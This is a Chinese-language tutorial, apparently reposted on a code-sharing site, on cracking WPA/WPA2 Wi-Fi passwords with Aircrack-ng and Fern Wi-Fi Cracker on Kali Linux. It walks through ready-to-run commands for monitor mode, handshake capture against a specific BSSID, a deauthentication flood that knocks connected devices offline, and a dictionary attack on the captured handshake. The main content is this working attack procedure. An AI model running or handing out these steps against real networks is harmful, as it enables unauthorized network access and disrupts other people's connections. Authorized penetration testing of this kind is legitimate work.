Aircrack-ng破解WPA/WPA2加密WiFi教程(Kali)


一、說明

以前學Kali,很多人都笑贊“WiFi破解神器”。我很煩,一是我不會破解二是我覺得他們也不會破解三是我隱約覺得所謂的WiFi破解不是什么技術性的操作。

后來基礎知識充分了然后弄了個無線網卡,弄個弱密碼跟着網上教程敲幾條命令就“破解了”,確實不需要什么技術知識也沒什么操作性。

也因此沒做什么記錄,但最近需要演示時發現忘了具體操作步驟,因此重新整理一下記錄下來。

網卡沒必要用什么官方推薦的幾百塊錢的,甚至只在國外賣的。某淘上說支持Kali評論也說可以的基本都沒問題。

 

二、破解WPA/WPA2類WiFi操作

WEP破解和WPA破解操作有些不一樣,但一是WEP協議有漏洞使用破解很容易現在也基本沒人用了,二是我這里沒有WEP型WiFi,所以這里只講WPA破解。

 

2.1 查看可用的無線網卡

airmon-ng

 

2.2 將無線網卡以監聽模式啟動

9表示第9信道(channel 9)。使用iwconfig確認成功開啟,主要表現是網卡名由wlan0變為wlan0mon,Mode值為Monitor

airmon-ng start wlan0 9
iwconfig

 

2.3 掃描周圍WiFi

airodump-ng wlan0mon

 BSSID----wifi的mac地址、PWR----信號強度(結果一般是按強度排序)、Data----監聽期間流量總合、CH----wifi所用信道、ENC----加密算法、ESSID----wifi名稱

看到自己要破解的wifi后直接按Ctrl+C終止命令即可。我們這里的目標是名為pentest的wifi,其BSSID為B0:D5:9D:42:FA:A3,信道為11

 

2.4 開始抓取握手包並保存成文件

# -c指定信道,一定要是上一步查到的要破解的wifi所用信道
# -bssid指定bssid值,一定要是上一步查到的要破解的wifi的bssid
# -w指定捕獲的握手到保存到的文件名
airodump-ng -c 11 --bssid B0:D5:9D:42:FA:A3 -w /root/Desktop/wifi_ivs_file wlan0mon

 

2.5 主動出擊獲取握手包【可選】

在上一步中我們是被動等待,我們何時能抓取到握手包依賴於何時有設備與該wifi完成成功的認證。

但對於上一步這種有已連接設備的wifi,其實我們可以使用aireplay-ng進行deauth洪水攻擊使已連接他的設備掉線,掉線設備一般會自動重新連接wifi這樣我們就能輕松獲取握手包。

 保持上步抓包命令不中斷,新打開一個窗口執行:

# -0表示通知設備斷開連接
# 10表示deauth攻擊次數,小點大點都行吧
# -a指定仿造的wifi的mac地址(即bssid)
# -c表示要讓認證失效的設備的mac地址,在上一步中可以看到
aireplay-ng -0 10 -a B0:D5:9D:42:FA:A3 -c C4:F0:81:02:87:5E wlan0mon

如下圖所示,我們抓到了讓其重新認證的B0:D5:9D:42:FA:A3的握手包。使用Ctrl+C終止抓包命令即可

 此時會在指定的目錄產生以下四個文件(每執行一次抓包命令就會產生一組,所以抓包時要注意自己是第幾次執行的;不管也行下一步執定文件時使用*號通配符即可)

 

2.6 使用字典文件暴力破解密碼

# -w指定要使用口令字典文件
# -b指定要目標wifi的mac地址(亦即bssid)
# wifi_ivs_file*.cap是抓取到握手包的數據包文件,*是通配符
aircrack-ng -w /usr/share/nmap/nselib/data/passwords.lst -b B0:D5:9D:42:FA:A3 /root/Desktop/wifi_ivs_file*.cap

如果字典文件中存在wifi的密碼,那就能找到wifi的密碼,如果不包含那就找不到。(所以籠統地講wifi成功破解率依賴於字典大小)

 

2.7 關閉網卡監聽模式【可選】

在第二步中我們使用airmon-ng將網卡以監聽模式啟動,最后我們將網卡還原回去

airmon-ng stop wlan0mon
iwconfig

 

三、使用fern wifi cracker進行圖形界面化破解

Aircrack-ng破解說難也不難,但說容易前后幾條命令及參數都不一樣記起來還是有點麻煩的,這種順序性操作如果使用圖形界面工來進行那就方便多了。

fern wifi cracker正是將Aircrack-ng這幾步圖形界面化的工具。

將無線網卡插好到kali,使用命令啟動fern wifi cracker

fern-wifi-cracker

第一步選擇網卡、第二步掃描wifi、第三步選擇wifi類型進入破解頁面

第一步雙擊選定要破解的wifi、第二步Browse選擇口令字典文件、第三步點擊Attack開始破解、第四步如果破解成功口令會如圖在4處列出(右鍵可復制)

 

參考:

http://www.aircrack-ng.org/doku.php?id=cracking_wpa

http://blog.51cto.com/13659284/2088875


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM